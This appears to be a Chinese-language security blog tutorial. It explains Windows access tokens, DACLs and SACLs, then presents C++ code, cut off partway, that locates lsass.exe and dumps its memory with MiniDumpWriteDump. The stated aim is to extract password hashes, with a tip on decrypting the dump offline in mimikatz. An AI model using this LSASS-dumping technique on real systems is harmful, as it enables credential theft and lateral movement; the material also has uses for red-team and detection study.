0x1 前置理論
訪問令牌(Access Token)是描述進程或線程安全上下文的對象。它包含與進程或線程關聯的用戶賬戶的身份和權限信息。
訪問令牌分為兩種類型:授權令牌(Delegation Token)和模擬令牌(Impersonation Token)。
訪問令牌包含以下信息:
- 用戶賬戶的安全標識符(SID)
- 用戶所屬組的 SID
- 標識當前登錄會話的登錄 SID
- 用戶或用戶組擁有的權限列表
- 所有者 SID
- 主要組的 SID
- 用戶在未指定安全描述符的情況下創建安全對象時系統使用的默認 DACL
- 訪問令牌的來源
- 令牌是主要令牌還是模擬令牌
- 可選的限制 SID 列表
- 當前模擬級別
- 其他統計信息
授權令牌(Delegation Token)用于交互式會話登錄(如本地用戶登錄、遠程桌面等)。
模擬令牌(Impersonation Token)用于非交互式登錄(如 net user、遠程共享訪問)。
當用戶登錄計算機后,會生成一個訪問令牌。該令牌在用戶創建進程或線程時會被復制一份,用于描述與該進程相關聯的用戶賬戶的安全上下文。默認情況下,當進程的線程與安全對象交互時,系統使用授權令牌。此外,線程可以模擬客戶賬戶。模擬允許線程使用客戶端的安全上下文與安全對象進行交互。模擬客戶端的線程同時具有授權令牌和模擬令牌。當用戶注銷后,系統會將授權令牌轉換為模擬令牌,并在重啟系統后清除。
安全對象是可以擁有安全描述符的對象,所有命名的 windows 對象都是安全對象。一些未命名的對象,例如進程和線程對象也可以擁有安全描述符。對于大多數的安全對象來說,我們可以在創建對象的函數調用中指定對象的安全描述符。
安全描述符包含與安全對象關聯的安全信息。安全描述符由 SECURITY_DESCRIPTOR 結構及其關聯的安全信息組成。安全描述符可以包括以下安全信息:
- 對象所有者和主要組的安全標識符(SID)
- 指定允許或拒絕特定用戶或組的訪問權限的 DACL
- 指定為對象生成審計記錄的訪問嘗試類型的 SACL
- 一組控制位,用以限定安全描述符或其各個成員的含義
訪問控制列表(Access Control Lists,ACL)是訪問控制條目(ACE)的列表。ACL 中每個 ACE 都標示一個受托者,并為該受托者指定訪問權限。安全對象的安全描述符可以包含兩種類型的 ACL:DACL 和 SACL。
自由訪問控制列表(DACL)標示允許或者拒絕訪問安全對象的受托人。當進程試圖訪問安全對象時,系統會檢查對象的 DACL 中的 ACE,以確定是否授予對它的訪問權限。如果對象沒有 DACL,系統會授予每個人 Full Access 權限。如果對象的 DACL 沒有 ACE,系統將拒絕所有訪問該對象的嘗試,因為 DACL 中沒有可以通過匹配的 ACE 條目。系統按順序檢查 ACE,直到它找到一個或多個允許所有請求的訪問權限的 ACE,或者直到任何一個請求的訪問權限被拒絕。
系統訪問控制列表(SACL)使管理員能夠記錄訪問受保護對象的嘗試。每個 ACE 指定特定受托者進行的訪問嘗試的類型,這些訪問嘗試會導致系統在安全事件日志中生成記錄。SACL 中的 ACE 可以在訪問嘗試失敗和/或成功時生成審計記錄。
受托人是應用訪問控制條目(ACE)的用戶賬戶、組賬戶或者登錄會話。訪問控制列表(ACL)中的每個 ACE 都有一個標示受托人的安全描述符(SID)。
根據前置知識,我們可以了解用戶登錄系統后創建進程、線程,程序訪問安全對象時的權限情況。
當用戶登錄計算機,憑證驗證通過后便會拿到一份訪問令牌(Access Token)。該 Token 在我們創建進程或線程時會被使用,復制 explorer.exe 中的該用戶的訪問令牌到新的進程/線程中用以權限分配。
當程序訪問安全對象時,安全對象會檢測自身的 DACL。若 DACL 不存在,則對所有程序開放訪問權限;若 DACL 存在,會按順序查找 DACL 內的 ACL 與程序的訪問令牌比較判斷,判斷其是否具有訪問權限。
MiniDumpWriteDump 函數:
BOOL MiniDumpWriteDump( [in] HANDLE hProcess, [in] DWORD ProcessId, [in] HANDLE hFile, [in] MINIDUMP_TYPE DumpType, [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
函數結構如上所示,可利用此函數將進程轉儲。本文將 Lsass.exe 轉儲用以提取 Hash。
0x2 實現代碼:
#include<iostream> #include<windows.h> #include<tlhelp32.h> #include<dbghelp.h> #include<tchar.h> #pragma comment(lib,"DbgHelp.lib") int main() { HANDLE LsassHandle = NULL; HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL); DWORD PID; HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 Entry; Entry.dwSize = sizeof(PROCESSENTRY32); LPWSTR ProcessName; //查找lsass進程pid if (Process32First(Snapshot, &Entry)) { ProcessName = Entry.szExeFile; PID = Entry.th32ProcessID; while (_wcsicmp(L"lsass.exe",ProcessName)!=0) { Process32Next(Snapshot, &Entry); ProcessName = Entry.szExeFile; PID = Entry.th32ProcessID; } std::cout
效果展示,另外,若在解密文件時出現Error kuhl_m_sekurlsa_acquireLSA ; Key import,可嘗試低版本 mimikatz 離線解密。如 2.1.1 版本。
0x3 參考文章